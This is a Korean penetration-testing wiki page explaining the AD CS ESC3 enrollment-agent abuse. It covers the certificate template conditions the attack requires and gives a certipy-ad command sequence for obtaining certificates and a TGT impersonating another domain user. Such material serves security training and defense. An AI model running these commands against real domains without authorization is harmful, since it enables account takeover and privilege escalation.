펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page
  • Abuse
  • Practice
  • References

Was this helpful?

Export as PDF
  1. 권한 상승
  2. Active Directory
  3. AD CS

ESC3

PreviousESC2NextESC4

Last updated 1 month ago

Was this helpful?

ADCS에서는 Enrollment Agents라고 불리는 속성이 존재합니다. 이 속성을 통해서 다른 사용자를 대신하여 해당 사용자의 인증서를 등록할 수 있습니다. 이것이 필요한 이유는 자동화된 서비스 등에 따른 이유입니다. 스마트 카드를 등록하려는 사람이 관리자에게 본인의 인적사항을 작성하면 관리자가 사용자를 대신하여 인증 정보를 프로그램에 등록하는 것과 비슷합니다. 먼저 이 공격이 성공하기 위해서는 2개의 템플릿이 필요하며 템플릿에는 각각 다음과 같은 속성이 설정되어 있어야 합니다.

Template 1

다른 속성은 ESC1에서 요구하는 것과 비슷하지만 추가적으로 요구되는 사항은 Extended Key Usage 혹은 Key Usage 속성에 Certificate Request Agent가 존재해야 합니다.

속성
값

Requires Manager Approval

False

Authorized Signatures Required

0

Enrollment Rights

하위 수준 도메인 사용자 또는 모든 사용자

Extended Key Usage(Ver. 1)

Certificate Request Agent / Any Purpose / Null

Extended Key Usage(Ver. 2)

Certificate Request Agent / msPKI-RA-Application-Policies

Template 2

낮은 권한의 사용자가 Enrollment Agents 속성을통해 다른 사용자를 대신해 인증서를 요청할 수 있도록 허용하며 도메인 인증을 허용하는 EKU를 정의합니다.

속성
값

Requires Manager Approval

False

Application Policies

Certificate Request Agent

Extended Key Usage

Client/Server Authentication

Enrollment Rights

하위 수준 도메인 사용자 또는 모든 사용자

속성이 가진 의미에 대해서 자세한 설명은 을 참조합니다.

Abuse

설명만 들었을 땐 조건이 매우 복잡해보이지만, 악용에 사용될 Template2는 내장 템플릿인 User로 사용이 가능합니다. ESC1과 비슷한 환경의 템플릿에서 EKU가 Certificate Request Agent만 만족된다면 가능한 취약점입니다.

공격자는 EKU가 Certificate Request Agent로 설정된 취약한 템플릿을 이용하여 장악한 도메인 사용자 계정의 인증서를 발급받습니다. 이때 발급된 인증서는 다른 사용자 계정으로 인증서를 요청할 수 있도록 허용하는 속성입니다. 발급된 인증서를 증거로 하여, Client Authentication EKU를 포함한 템플릿에 타겟 사용자의 인증서 발급 요청을 합니다. CA에 내장되어 있는 User 템플릿의 경우 악용에 필요한 두번째 템플릿의 모든 조건을 만족합니다.

Practice

앞서 말했던 것과 같이, ESC3 공격은 총 2번의 템플릿 요청 과정이 요구됩니다. Certificate Request Agent가 설정된 템플릿을 통해 인증서를 발급한 뒤, 해당 인증서를 통해 CA의 내장 템플릿 User을 이용하여 다른 사용자의 인증서를 발급받습니다.

# 취약한 템플릿 검색
certipy-ad find -u <USER> -p <PASS> -dc-ip <dc-ip> -vulnerable -stdout -enabled

# 취약한 템플릿을 이용하여 사용자 가장 권한 인증서 발급
certipy-ad req -u <USER> -p <PASS> -dc-ip <dc-ip> -ca <CA> -template <VulnTemplate>

# 발급된 증명서를 증거로 포함하여 타겟 사용자를 가장한 인증서 발급
certipy-ad req -u <USER> -p <PASS> -dc-ip 10.129.249.117 -template 'User' -on-behalf-of <Domain\TargetUser> -pfx <PFX File>

# 발급된 타겟 사용자의 PFX 파일을 통한 TGT 발급
certipy-ad auth -pfx <PFX File> -domain <Domain> -dc-ip <dc-ip>

References

GitHub - RayRRT/Active-Directory-Certificate-Services-abuseGitHub
ADCS Attack Paths in BloodHound — Part 2Posts By SpecterOps Team Members
Logo
https://academy.hackthebox.com/module/236/section/2541academy.hackthebox.com
Logo
Attribute Description
21MB
Certified_Pre-Owned ko.pdf
pdf